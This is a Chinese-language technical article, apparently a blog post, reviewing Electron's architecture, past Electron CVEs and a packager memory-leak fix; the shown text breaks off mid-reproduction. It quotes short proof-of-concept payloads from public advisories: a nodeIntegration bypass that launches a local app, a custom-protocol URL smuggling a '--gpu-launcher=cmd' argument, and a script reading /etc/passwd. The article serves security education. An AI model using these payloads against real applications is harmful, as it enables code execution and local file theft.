大家好,今天向大家介绍一些关于 Electron
程序以及其安全相关一些内容。
采用Electron
构建的桌面程序在日常使用过程中非常常见
它的应用面如此之广,以至于我们很难忽略它的存在。这篇文章的目的在于介绍当前 Electron
安全发展态势,更关键的是,最近 XZ
后门事件直接导致了供应链安全的担忧,虽然很多应用程序并不一定开源,但是这篇文章会给大家介绍一些通用的切实可行的检测措施,找出 Electron
程序可能存在的 XSS To RCE
和有危害的供应链威胁
如果你之前没有接触过相关内容,仅仅是想了解一下我使用的 Electron
开发的程序安全性怎么样,那你可以直接跳转到 0x04 如何评估 Electron 程序的安全性 章节
没想到文章越写越长,为保证观感,我们在文末放了 PDF
版本的链接
0x00 简介
0x01 Electron 简介
1. Electron 架构
2. 主进程
3. 渲染进程
4. 预加载脚本
5. 实用进程
0x02 Electron 漏洞史
CVE-2016-10534
CVE-2016-1202
CVE-2017-1000424
CVE-2017-12581
CVE-2017-16151
CVE-2018-1000006
CVE-2018-1000118
CVE-2018-1000136
CVE-2018-15685
CVE-2020-15096
CVE-2020-15174
CVE-2020-15215
CVE-2020-26272
CVE-2020-4075
CVE-2020-4076
CVE-2020-4077
CVE-2021-39184
CVE-2022-21718
CVE-2022-29247
CVE-2022-29257
CVE-2022-36077
CVE-2023-23623
CVE-2023-29198
CVE-2023-39956
CVE-2023-44402
`embeddedAsarIntegrityValidation`
`onlyLoadAppFromAsar`
CVE-2024-1648
CVE-2024-27303
CVE-2024-29900
0x03 Electron 应用漏洞案例
1. Goby
2. 蚁剑
3. Typora
4. Discord
5. Others
0x04 如何评估 Electron 程序的安全性
1. 解包 asar 文件
2. 供应链安全评估
3. Electron 版本
4. nodeIntegration
5. contextIsolation
6. sandbox
8. webSecurity
7. fuse
8. Preload 预加载脚本
9. CSP
10. 自定义协议
小结
0x05 Electron 测试技巧
1. nodeIntegrationInSubframes
2. 开发者工具
3. 抓包
4. 导航
5. 自定义协议
6. 本地文件读取
7. 本地代码注入
0x06 实测电脑上的APP
1. Goby
2. Yakit
3. Discord
4. VSCode
5. xmind
6. signal
7. bilibili
8. Docker Desktop
9. 百度网盘
10. 夸克网盘
11. 优酷
12 小结
0x07 小感慨
0x08 PDF 版本下载地址
往期文章
Electron 是一个使用 JavaScript、HTML 和 CSS 构建桌面应用程序的框架。 嵌入 Chromium 和 Node.js 到 二进制的 Electron 允许您保持一个 JavaScript 代码代码库并创建在Windows上运行的跨平台应用 macOS和Linux——不需要本地开发经验。
https://www.electronjs.org/zh/docs/latest/
Chromium
具备网页渲染能力, Nodejs
具备操作系统API的能力
因此从架构上,Electron
分为两个部分:主进程和渲染进程
每个 Electron 应用都有一个单一的主进程,作为应用程序的入口点。 主进程在 Node.js 环境中运行,这意味着它具有 require
模块和使用所有 Node.js API 的能力。
每个 Electron 应用都会为每个打开的 BrowserWindow
( 与每个网页嵌入 ) 生成一个单独的渲染器进程。 洽如其名,渲染器负责渲染 网页内容。 所以实际上,运行于渲染器进程中的代码是须遵照网页标准的 (至少就目前使用的 Chromium 而言是如此) 。
主进程可以与操作系统交互,渲染进程只能渲染网页,那么当功能需要操作系统支持的时候,渲染进程如何将需求传递给主进程,主进程如何将结果传递给渲染进程就是个问题,Electron 设计了一系列的 IPC
功能,方便主进程和渲染进程间通信,渲染进程的通信通常在 preload
脚本中发生
预加载(preload
)脚本包含了那些执行于渲染器进程中,且先于网页内容开始加载的代码 。 这些脚本虽运行于渲染器的环境中,却因能访问 Node.js API 而拥有了更多的权限,当然,为了安全考虑,它的 API 是受限的,主要就是发起 IPC
请求或监听,将自定义的API和变量等传递给渲染进程使用
在 Electron 22.0.0
中开始引入 utility process
,每个Electron应用程序都可以使用主进程生成多个子进程UtilityProcess API
,实用进程(官方翻译叫效率进程)可用于托管,例如:不受信任的服务, CPU 密集型任务或以前容易崩溃的组件托管在主进程或使用Node.jschild_process.fork
API 生成的进程中。
https://www.electronjs.org/zh/blog/electron-22-0#utilityprocess-api-36089
更详细信息参考官网,Electron
官方对开发者非常友好,具有详细的介绍,本部分参考 流程模型
章节
https://www.electronjs.org/zh/
流程模型 | Electron
https://www.electronjs.org/zh/docs/latest/tutorial/process-model
Electron
将两大技术结合在一起,肯定是会存在非常多的问题,这其中就包括了很多安全问题,尤其是在这门技术刚刚出来的时候
但 Electron
发展比较快,逐渐遵循“默认即安全”的原则
这是我在 2022
年决定使用 Electron
作为开发工具时学习过程中发出的感慨,真的就是书刚出来就已经过时了
接下里将和大家一起回顾一下 Electron
本身的历史漏洞,关于 Electron
的发展变化情况参考官网
https://www.electronjs.org/zh/blog
https://www.electronjs.org/zh/docs/latest/breaking-changes
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10534
https://github.com/electron/packager/issues/333
electron-packager 是一个命令行工具,将 Electron 源代码打包成 '.app' 和 '.exe' 包。
在electron-packager 的 5.2.1 - 6.0.2 版本中,'--strict-ssl' 命令行选项如果未显式设置为 true,则默认为 false。这可能允许攻击者执行中间人攻击
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1202
https://github.com/electron/electron/commit/9a2e2b365d061ec10cd861391fd5b1344af7194d
Electron < 0.33.5
这是一个模块搜索路径上的漏洞,可能会加载额外的模块导致被攻击,这应该是 Nodejs
的一个特性或者叫属性吧,但是在 Electron
会导致问题, 当然这个早就修复了,目前 Electron
版本为 29.2.0
,但我们在挖掘漏洞的时候还是可以思考一下,是否原本正常的功能会在结合之后出现影响
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1000424
https://github.com/electron/electron/issues/10007
1.6.4 < Electron < 1.6.11
1.7.0 < Electron < 1.7.5
这是一个 URL
路径解析漏洞,主要是在打开 PDF
文件的 URL
时,遇到 &
字符会被截断,进而可能导致路径劫持安全问题
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12581
https://blog.doyensec.com/2017/08/03/electron-framework-security.html
Electron < 1.6.8
这是一个非常严重的漏洞,Electron
为了限制渲染进程,主进程创建渲染进程时设置 nodeIntegration
属性为 false
来禁止渲染进程拥有访问 Nodejs API
的能力,这样保证即使出现了 XSS
漏洞也不至于直接导致 RCE
这个漏洞就是一种 nodeIntegration
机制绕过漏洞,其实是两个技术的结合
Electron
重写了部分 Chromium
的 API
,当创建一个新窗口时,Electron
返回一个 BrowserWindowProxy
的实例。此类可用于操作子浏览器窗口,从而破坏同源策略 (SOP
)Electron
中漏洞版本存在一些特权域 URL
,例如 chrome-devtools://devtools/
,在漏洞版本中打开特权 URL
返回的 BrowserWindowProxy
的 nodeIntegration
值为 true
将以上两个技术结合起来就可以创建一个特权 URL
,之后执行 Nodejs
的代码进而实现 RCE
了, PoC
如下
<!DOCTYPE html>
<html>
<head>
<title>nodeIntegration bypass (SOP2RCE)</title>
</head>
<body>
<script>
document.write("Current location:" + window.location.href + "<br>"); const win = window.open("chrome-devtools://devtools/bundled/inspector.html");
win.eval("const {shell} = require('electron');
shell.openExternal('file:///Applications/Calculator.app');");
</script>
</body>
</html>
具体参考如下文章
https://blog.doyensec.com/2017/08/03/electron-framework-security.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16151
https://www.electronjs.org/zh/blog/chromium-rce-vulnerability
Electron < 1.6.14
1.7.0 <= Electron < 1.7.8
1.8.0 <= Electron < 1.8.1
这是一个 RCE
漏洞,是由于 Chromium
的 RCE
连带的,官方的信息中也没有描述具体具体是哪个 CVE
发布时间是 2017年9月27日
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000006
https://www.electronjs.org/blog/protocol-handler-fix
https://www.exploit-db.com/exploits/43899
仅 Windows 平台
Electron <= 1.8.2-beta.3
Electron <= 1.7.10
Electron <= 1.6.15
这是一个 RCE
漏洞,在 Windows 平台上关于自定义协议处理程序处理不当导致 RCE
,需要用户点击恶意的 URL
关于自定义协议处理程序一直是 Electron
漏洞的重灾区,它并不是默认即安全的问题,它需要有良好的编码规范,后续关于漏洞案例部分应该会列举一些相关的内容
PoC
如下
<!doctype html>
<script>
window.location = 'exodus://aaaaaaaaa" --gpu-launcher="cmd" --aaaaa='
</script>
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000118 https://github.com/electron/electron/commit/ce361a12e355f9e1e99c989f1ea056c9e502dbe7
Electron <= 1.8.2-beta.4
这是 CVE-2018-1000006
的绕过,此问题是由于对CVE-2018-1000006的修复不完整,特别是使用的黑名单不区分大小写,允许攻击者绕过它。
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000136
https://www.electronjs.org/zh/blog/webview-fix
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2018-1000136-electron-nodeintegration-bypass/
1.7.0 <= Electron < 1.7.12
1.8.0 <= Electron < 1.8.3
2.0.0 <= Electron < 2.0.0-beta.3
这是一个 XSS To RCE
漏洞,主要是对于 webview
标签时处理不当导致在某些禁用 Node.js 集成的 Electron 应用程序中重新启用 Node.js 环境。
简单来说就是新创建窗口本来应该是继承父窗口的部分属性设置,如果父窗口设置了 nodeIntegration: false
,则新创建的子窗口也是一样,但是在处理 webviews
时出现了问题,导致新创建的窗口默认具备 Nodejs
的能力
实际上,在 Electron
的官网是很不建议使用 webview
的,主要是因为它可能变动的原因
https://www.electronjs.org/zh/docs/latest/tutorial/web-embeds#%E6%A6%82%E8%A7%88
https://www.electronjs.org/zh/docs/latest/api/webview-tag#warning
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15685
https://www.contrastsecurity.com/security-influencers/cve-2018-15685
https://www.electronjs.org/zh/blog/web-preferences-fix
https://www.exploit-db.com/exploits/45272
https://github.com/matt-/CVE-2018-15685
https://contrastsecurity.wistia.com/medias/u3nt710b8r
Electron 1.7.15、1.8.7、2.0.7和3.0.0-beta.6
这个漏洞是一个 XSS To RCE
漏洞,需要通过 XSS
漏洞向页面添加一个 <iframe>
标签,Electron
在处理该标签的时候,对于新打开的窗口,权限继承关系处理不当,打开部分窗口时会导致存在 nodeIntegration: true
的情况,具备 Nodejs
执行能力,进而导致RCE
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15096
https://github.com/electron/electron/security/advisories/GHSA-6vrv-94jv-crrg
9.0.0-beta.0 <= Electron <=9.0.0-beta.20
8.0.0-beta.0 <= Electron <=8.2.3
7.0.0-beta <= Electron < =7.2.3
6.0.0-beta.0 <= Electron <= 6.1.10
Electron <= 6
这是一个 contextIsolation
的绕过,即上下文隔离的绕过,contextIsolation
也是 Electron
中的一个重要的安全措施,有效防止渲染进程中的 JavaScript
污染 Preload
脚本中的原型等内容,有效进行上下文隔离
该漏洞是 V8
引擎的漏洞,所以只能通过升级解决
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15174
https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674
https://github.com/electron/electron/commit/18613925610ba319da7f497b6deed85ad712c59b
https://mksben.l0.cm/2020/10/discord-desktop-rce.html
https://youtu.be/0f3RrvC-zGI
10.0.0-beta.0 <= Electron <=10.0.0
9.0.0-beta.0 <= Electron <=9.2.1
8.0.0-beta.0 <= Electron <=8.5.0
Electron <= 8
这个漏洞是一个导航绕过漏洞,通常一个 iframe
中的窗口通过导航功能打开其他窗口应该被 will-navigate
事件捕捉,之后被处理程序无害化处理,这样 Electron
加载其他 iframe
时, iframe
中的代码不会影响 Electron
,即使 contextIsolation
上下文隔离设置为 false
,iframe
中的 JavaScript
也不会覆盖 Electron
中 JavaScript
中的原型
但是这里有一个 Electron
的 bug
,当 iframe
执行顶部框架导航时,如果 top.origin
和 iframe.origin
是同源,则会触发will-navigate
事件,如果不同源则不会触发,这听起来很荒谬,所以是 bug
嘛
因此如果此时 contextIsolation
设置为 false
, iframe
中的 JavaScript
可以直接覆盖渲染进程中的函数原型,这里就包括 Preload
脚本,也就是预加载脚本,所以此时如果预加载脚本中的方法任意组合,修改参数之类的操作后可以让主进程执行 Nodejs
代码,就可以实现 RCE
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15215
https://github.com/electron/electron/security/advisories/GHSA-56pc-6jqp-xqj8
11.0.0-beta.0 <= Electron <=11.0.0-beta.5
10.0.0-beta.0 <= Electron <=10.1.1
9.0.0-beta.0 <= Electron <=9.3.0
8.0.0-beta.0 <= Electron <=8.5.1
Electron <= 8
这个漏洞是官方公布的,只有大概的描述,并没有细节,通过描述来看与 CVE-2020-15174
是一件事,只不过影响不同
这是一个 contextIsolation
绕过漏洞,可以绕过上下文隔离,想知道更详细的内容可能需要对比一下版本之间的代码
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26272
https://github.com/electron/electron/security/advisories/GHSA-hvf8-h2qh-37m9
9.0.0-beta.0 <= Electron < 9.4.0
10.0.0-beta.0 <= Electron < 10.2.0
11.0.0-beta.0 <= Electron < 11.1.0
12.0.0-beta.0 <= Electron < 12.0.0-beta.9
Electron <= 8
这看起来更像是一个 bug
,通过 webContentsendToFrame
、event.reply
或使用remote
模块从主进程发送到渲染器进程中的子帧的 IPC
消息在某些情况下可能会传递到错误的帧。
remote
模块曾经可以让渲染进程直接执行 Nodejs
的代码,这也是上面提到的几本书里还包含着的内容,后来就限制其安装了,安装过程非常费劲,而且要关闭很多安全策略,最后好像已经去掉了
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4075
https://github.com/electron/electron/security/advisories/GHSA-f9mq-jph6-9mhm
9.0.0-beta.0 <= Electron <=9.0.0-beta.20
8.0.0-beta.0 <= Electron <=8.2.3
7.0.0-beta <= Electron < =7.2.3
Electron < 7
该漏洞允许通过在通过 window.open
打开的子窗口上定义不安全窗口选项来读取任意本地文件。当新打开的窗口没有设置 nativeWindowOpen: true
,则可以读取本地文件
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4076
https://github.com/electron/electron/security/advisories/GHSA-m93v-9qjc-3g79
9.0.0-beta.0 <= Electron <=9.0.0-beta.20
8.0.0-beta.0 <= Electron <=8.2.3
7.0.0-beta <= Electron < =7.2.3
Electron < 7
该漏洞是一个 contextIsolation
绕过漏洞,没有找到详细的介绍,通过版本发布说明了解这是 contextCodeGeneration
参数的问题,修复代码如下
这个漏洞的描述是修复了对 Node.js
的 script.runInNewContext()
的contextCodeGeneration
参数的破坏使用
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4077
https://github.com/electron/electron/security/advisories/GHSA-h9jc-284h-533g
9.0.0-beta.0 <= Electron <=9.0.0-beta.20
8.0.0-beta.0 <= Electron <=8.2.3
7.0.0-beta <= Electron < =7.2.3
Electron < 7
该漏洞是一个 contextIsolation
绕过漏洞,利用的是 contextBridge
,contextBridge
正常被用来将 Preload
脚本中的方法暴露给渲染进程,当使用 contextBridge
时,如果 sandbox=true
会造成内存泄漏
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39184
https://github.com/electron/electron/security/advisories/GHSA-mpjm-v997-c4h4
https://github.com/electron/electron/pull/30728
https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Aaditya%20Purani%20-%20ElectroVolt%20Pwning%20popular%20desktop%20apps%20while%20uncovering%20new%20attack%20surface%20on%20Electron.pdf
此漏洞允许沙盒渲染器请求用户系统上任意文件的“缩略图”图像。缩略图可能包含原始文件的重要部分,在许多情况下包括文本数据
10.1.0 <= Electron <11.0.0-beta.1
11.0.0-beta.1 <= Electron < 11.5.0
12.0.0-beta.1 <= Electron < 12.1.0
13.0.0-beta.1 <= Electron <13.3.0
14.0.0-beta.1 <= Electron <14.0.0
15.0.0-alpha.1 <= Electron <15.0.0-alpha.10
【可以查找视频,或看PDF】
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21718
https://github.com/electron/electron/security/advisories/GHSA-3p22-ghq8-v749
Electron < 13.6.6
14.0.0-beta.1 <= Electron < 14.2.4
15.0.0-beta.1 <= Electron <15.3.5
16.0.0-beta.1 <= Electron <16.0.6
17.0.0-alpha.1 <= Electron <17.0.0-alpha.6
如果应用未配置自定义选择蓝牙设备事件处理程序,此漏洞允许呈现程序通过Web蓝牙API访问随机蓝牙设备。被访问的设备是随机的,攻击者无法选择特定的设备。
从修复代码可以看出,之前对于渲染进程访问蓝牙设备的默认请求未做有效处理,不知道后期会不会有对其他设备API请求存在此类问题
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29247
https://github.com/electron/electron/security/advisories/GHSA-mq8j-3h7h-p8g7
https://blog.electrovolt.io/posts/electron/
https://hackerone.com/reports/1647287
Electron < 15.5.5
16.0.0-beta.1 <= Electron < 16.2.6
17.0.0-beta.1 <= Electron < 17.2.0
18.0.0-beta.1 <= Electron < 18.0.0-beta.6
这个漏洞是一个 nodeIntegrationInSubFrames
绕过的漏洞,此漏洞允许使用JS执行的渲染器访问启用了nodeIntegrationInSubFrames
的新渲染器进程,从而允许有效访问 ipcRenderer
这里有一些概念需要先介绍一下
nodeIntegrationInSubFrames
这个特性看起来和 Nodejs
相关,好像是要在子 frame
中启用 Nodejs
功能,其实并不是,这个属性设置为 true
时,预加载脚本会在每个子 frame
中加载,虽然预加载脚本具备一定的 Nodejs
的能力,但是被限制的很严重,所以大家对这个属性的命名感觉很费解,还产生了一定的讨论
https://github.com/electron/electron/issues/18429
ipcRenderer
是主进程与渲染进程 IPC
通信过程中渲染进程使用的,准确的说是预加载脚本中可以使用的,除非对外暴漏,不然渲染进程本身是无法直接 require
加载的
接下来就很容易了解这个漏洞了,注意不是理解,因为我们没有做代码层面的分析。这个漏洞让渲染进程具备访问 ipcRenderer
的能力,有了这个能力是否就可以实现 RCE
了呢?
当然不是,ipcRenderer
只是可以和主进程进行通信,通信带来的功能本身是主进程写好的,也就是固定的,除非主进程监听的消息中,可以通过传递数据实现命令执行、文件写入之类的,才能实现 RCE
,如果开发人员具备良好的编码习惯,可能是即使给你 ipcRenderer
也没有大用,最多泄漏一些信息
更多专有名词参考官网
https://www.electronjs.org/zh/docs/latest/glossary
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29257
https://github.com/electron/electron/security/advisories/GHSA-77xc-hjv8-ww97
主要是 MacOS 平台
Electron < 15.5.0
16.0.0-beta.1 <= Electron < 16.2.0
17.0.0-beta.1 <= Electron < 17.2.0
18.0.0-beta.1 <= Electron < 18.0.0-beta.6
这是一个与自动更新相关的漏洞,AutoUpdater
模块无法在 macOS
上验证捆绑包的某些嵌套组件,如果攻击者能够具有自动更新的权限,就可能可以创建一个有正确签名的恶意程序
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36077
https://github.com/electron/electron/security/advisories/GHSA-p2jh-44qj-pf2v
主要是 Windows 平台
Electron < 18.3.7
19.0.0-beta.1 <= Electron < 19.0.11
20.0.0-beta.1 <= Electron < 20.0.1
这是一个信息泄漏漏洞,当遇到重定向时,如果重定向的链接是 file://some.website.com/
, 在一些情况下, Windows
会连接 some.website.com
并进行 NTLM
认证,这其中发送的信息可能包含哈希凭证,导致信息泄漏
如果无法升级 Electron
版本,官方给出了修复代码,阻止重定向到 file:
协议的链接
app.on('web-contents-created', (e, webContents) => {
webContents.on('will-redirect', (e, url) => {
if (/^file:/.test(url)) e.preventDefault()
})
})
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-23623
https://github.com/electron/electron/security/advisories/GHSA-gxh7-wv9q-fwfr
22.0.0-beta.1 <= Electron < 22.0.1
23.0.0-alpha.1 <= Electron < 23.0.0-alpha.2
这可能是一个相对典型的结合出现的问题,当 sandbox: false
并且 contextIsolation: false
时,CSP
(即使正确配置了) 无法有效地阻止 eval
和 new Function
的使用
这个漏洞官方给出的评分很高(7.5),但是我觉得利用条件还是比较复杂的,而且也不能直接导致 RCE
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-29198
https://github.com/electron/electron/security/advisories/GHSA-p7v2-p9m8-qqg7
Electron < 22.3.6
23.0.0-alpha.1 <= Electron < 23.2.3
24.0.0-alpha.1 <= Electron < 24.0.1
25.0.0-alpha.1 <= Electron < 25.0.0-alpha.2
这是一个上下文隔离绕过漏洞,在上下文隔离环境中,通常 Preload
脚本通过 contextBridge
将定义好的方法暴露给渲染进程使用,如果这些方法返回值为一个包含无法序列化的 JS
对象的对象或者数组,此时可能会触发异常
或者直接就返回一个用户生成的异常时,可能会触发此漏洞
这件事本质上是因为通过 contextBridge
传递值的时候, Electron
是将其 Copy
一份,Electron
无法处理的类型就会导致出现问题,具体类型参照如下链接
https://www.electronjs.org/docs/latest/api/context-bridge#parameter--error--return-type-support
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39956
https://github.com/electron/electron/security/advisories/GHSA-7x97-j373-85x5
Electron < 22.3.19
23.0.0-alpha.1 <= Electron < 23.3.13
24.0.0-alpha.1 <= Electron < 24.7.1
25.0.0-alpha.1 <= Electron < 25.5.0
26.0.0-alpha.1 <= Electron < 26.0.0-beta.13
这是一个代码执行漏洞,需要满足程序在攻击者控制并且可以写入文件的目录中执行,对于这类漏洞,Electron
官方归类为本地物理攻击(Physically Local Attacks
),官方对这类漏洞并不是很关注,这个漏洞可能影响 ASAR
的完整性校验等,所以给了漏洞编号
但是全网并没有找到包含详细信息等文章
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-44402
https://github.com/electron/electron/security/advisories/GHSA-7m48-wc93-9g85
https://github.com/electron/electron/pull/39788
仅 MacOS 平台
Electron < 22.3.24
23.0.0-alpha.1 <= Electron < 23.3.14
24.0.0-alpha.1 <= Electron < 24.8.3
25.0.0-alpha.1 <= Electron < 25.8.1
26.0.0-alpha.1 <= Electron < 26.2.1
27.0.0-alpha.1 <= Electron < 27.0.0-alpha.7
Electron
中部分资源文件 js、html、css、img
等发布时会打包成 .asar
文件,Electron
提供了校验 asar
文件完整性的 fuse
embeddedAsarIntegrityValidation
onlyLoadAppFromAsar
这两个 fuse
默认是禁用的,如果启动就会校验 .asar
文件是否为 asar
文件,确保文件类型经过校验
官方的评论是:“仅仅因为某些内容存在于 *.asar路径中并不意味着它实际上是一个asar文件”
此漏洞就属于是一种绕过文件校验的漏洞,攻击的条件是攻击者可以编辑 .app
内的文件,.app
是 MacOS
中的应用程序后缀,也是一个文件夹,相当于 Windows
中的安装目录
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1648
https://fluidattacks.com/advisories/drake
https://www.npmjs.com/package/electron-pdf
electron-pdf 20.0.0
这是 electron-pdf
组件的漏洞,是一个本地文件读取漏洞,由于其内容比较具有代表性,所以也放在这里
electron-pdf
是一个命令行工具,可以将 html
、markdown
、url
生成 PDF
PoC
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(this.responseText)};
x.open("GET","file:///etc/passwd");x.send();
</script>
官方描述是 electron-pdf
没有校验 HTML
是否为恶意,但我觉得本质问题还是对于 file
等一些协议的使用默认支持,没有做规避导致的
在 Electron
开发的应用程序中,也是经常出现类似的问题,导致本地文件读取,所以把它放在这里
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27303
https://github.com/electron-userland/electron-builder/security/advisories/GHSA-r4pf-3v7r-hh55
仅 Windows 平台
app-builder-lib < 24.13.1
这是 electron-builder
工具的一个漏洞,electron-builder
是用于构建 Electron
应用程序的工具,可能在之前的很多资料里比较推荐,现在官方更推荐 Electron Forge
这个漏洞原理很像 DLL
劫持,NSIS
安装程序通过 .nsh
安装程序脚本中的 NSExec
进行系统调用以打开cmd.exe
。默认情况下,NSExec
会在搜索 PATH
之前搜索安装程序所在的当前目录。这意味着,如果攻击者可以将名为 cmd.exe
的恶意可执行文件放置在与安装程序相同的文件夹中,则安装程序将运行该恶意文件
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-29900
https://github.com/electron/packager/security/advisories/GHSA-34h3-8mw4-qw57
https://github.com/electron/packager/commit/d421d4bd3ced889a4143c5c3ab6d95e3be249eee
electron/packager < 18.3.0
这是 electron/packager
模块的内存泄漏漏洞,被评级为 Critical
。electron/packager
是 Electron
用于将Electron
代码打包成二进制程序常用的工具,Electron Forge
内部就使用了该程序
官方描述漏洞情况为在已知缓冲区的任意一侧分配的约 1-10 kb
的 Node.js
堆内存的随机段将泄漏到最终的可执行文件中。该内存可能包含敏感信息,如环境变量、机密文件等。
这看起来应该是一个 bug
目前网络上还没有相关的内容介绍泄漏的内存到底在什么位置,如何找到它,那我们就亲自看一下吧
我们根据代码可以看出来,只修改了 resedit
函数的一部分内容
// 原代码
export async function resedit(exePath: string, options: ExeMetadata) {
// 其他代码
// Asar Integrity
if (options.asarIntegrity) {
res.entries.push({
type: 'Integrity',
id: 'ElectronAsar',
bin: Buffer.from(JSON.stringify(options.asarIntegrity)).buffer,
lang: languageInfo[0].lang,
codepage: languageInfo[0].codepage,
});
}
}
// 修复后的代码
export async function resedit(exePath: string, options: ExeMetadata) {
// 其他代码
// Asar Integrity
if (options.asarIntegrity) {
const integrityList = Object.keys(options.asarIntegrity).map((file) => ({
file,
alg: options.asarIntegrity![file].algorithm,
value: options.asarIntegrity![file].hash,
}));
res.entries.push({
type: 'INTEGRITY',
id: 'ELECTRONASAR',
bin: Buffer.from(JSON.stringify(integrityList), 'utf-8'),
lang: languageInfo[0].lang,
codepage: languageInfo[0].codepage,
});
}
这里除了 type
和 id
的命名规则改变以外,最重要的是 bin
的内容变了
从代码注释上可以看到 Asar Integrity
,翻译过来就是 Asar
完整性,也就是说这部分代码应该是用于检查 Asar
完整性或者存储提供检查的信息
首先是 if
判断,这里肯定是通过判断了,前后对比可以看出,对于 options.asarIntegrity
的处理明显不同,这个 options
是什么呢? 参数里给了我们提示 ExeMetadata
,这显然是 Electron
自定义的类型,我们点击 view file
进入文件中查看
包含一些可执行文件的元数据
asarIntegrity?: Record<string, Pick<FileRecord['integrity'], 'algorithm' | 'hash'>>;
我们详细看一下 asarIntegrity
,这是 TypeScript
的语法,看起来就很烦啊,
Record<string, T>
: Record<K, T>
是 TypeScript 内置的泛型类型,表示一种键值对结构(类似于 JavaScript 中的普通对象),其中:
K
是键的类型。T
是值的类型。在本例中,K
被指定为 string
,表示对象的键是字符串类型。T
是待推导的类型,将在后面的 Pick<FileRecord['integrity'], 'algorithm' | 'hash'>
中定义。
Pick<T, K>
: Pick<T, K>
是 TypeScript 的另一个内置泛型类型,用于从类型 T
中选择一组指定的属性 K
组成一个新的类型。这里的含义是:
T
是要从中选取属性的原始类型。K
是要保留的属性名称组成的联合类型。FileRecord['integrity']
: FileRecord
类型未直接定义,从整个文件中可以看出
import { FileRecord } from '@electron/asar';
这个类型是从 @electron/asar
来的,查找 @electron/asar
https://www.npmjs.com/package/@electron/asar
export type FileRecord = {
offset: string;
size: number;
executable?: boolean;
integrity: {
hash: string;
algorithm: 'SHA256';
blocks: string[];
blockSize: number;
};
}
integrity
是一个由几个key
组成的对象:
algorithm
哈希算法,目前只支持SHA256
hash
十六进制编码的哈希值,表示整个文件的哈希值。
blocks
一个十六进制编码的哈希数组,用于文件的块。例如,对于大小为4KB的块,如果将文件拆分为N个4KB块,则该数组包含每个块的哈希值。
blockSize
表示上面的块哈希中每个块的字节大小
'algorithm' | 'hash'
: 这是 TypeScript 中的联合类型(Union Type)表示法,表示一个可以是 'algorithm'
或 'hash'
的字符串类型。这里用于指定要从 FileRecord['integrity']
类型中选取的属性名称。
将这些部分组合起来,asarIntegrity
字段的完整类型定义表示:
asarIntegrity
是一个可选的对象(因为前面有 ?
符号),其键是字符串类型,值是从 FileRecord['integrity']
类型中选取的 'algorithm'
和 'hash'
属性组成的类型。asarIntegrity
对象的每个键值对,键是字符串(文件路径),值是一个对象,该对象仅包含 FileRecord['integrity']
中的 algorithm
(哈希算法)和 hash
(哈希值)属性。举个具体的例子,一个符合此类型的 asarIntegrity
对象可能如下所示:
{
"/path/to/file1.js": {
"algorithm": "SHA-256",
"hash": "abc123..."
},
"/path/to/file2.css": {
"algorithm": "SHA-1",
"hash": "def456..."
}
}
接下来看一下前后代码对 options.asarIntegrity
的处理有哪些不同
// 原代码
bin: Buffer.from(JSON.stringify(options.asarIntegrity)).buffer
原代码直接将 options.asarIntegrity
转为 Json
格式的字符串后存储到缓冲区中,并访问 .buffer
属性,获得一个 ArrayBuffer
对象,它是 Buffer
实例所基于的底层数据容器
// 修复后的代码
const integrityList = Object.keys(options.asarIntegrity).map((file) => ({
file,
alg: options.asarIntegrity![file].algorithm,
value: options.asarIntegrity![file].hash,
}));bin: Buffer.from(JSON.stringify(integrityList), 'utf-8')
修复后的代码先是取出了对象中所有的 key
,key
也就是文件路径 + 文件名,之后使用 map()
函数将每个键转换为一个新的对象,只包含必要的完整性信息:file
(文件路径)、alg
(哈希算法)和 value
(哈希值),将这个对象转成 JSON
后以 uft-8
的形式存入缓冲区
这样看起来的话,主要有两点不同
ArrayBuffer
对象,一个就是 Buffer
对象utf-8
从这个代码以后,输出 Asar
文件了
所以我们可以尝试模拟一下这个 commit
中的代码,之后看看最终 bin
有何不同
// old.ts
// 定义 FileRecord 类型
type FileRecord = {
offset: string;
size: number;
executable?: boolean;
integrity: {
hash: string;
algorithm: 'SHA-256';
blocks: string[];
blockSize: number;
};
}// 定义 ExeMetadata 类型
type ExeMetadata = {
asarIntegrity?: Record<string, Pick<FileRecord['integrity'], 'algorithm' | 'hash'>>;
}
// 定义 resedit 函数
function resedit(options: ExeMetadata) {
if (options.asarIntegrity) {
console.log(JSON.stringify(options.asarIntegrity))
console.log(Buffer.from(JSON.stringify(options.asarIntegrity)).buffer);
}
}
// 创建一个符合 ExeMetadata 类型的对象
const exeMetadata: ExeMetadata = {
asarIntegrity: {
"/path/to/file1.js": {
algorithm: "SHA-256",
hash: "abc123...",
},
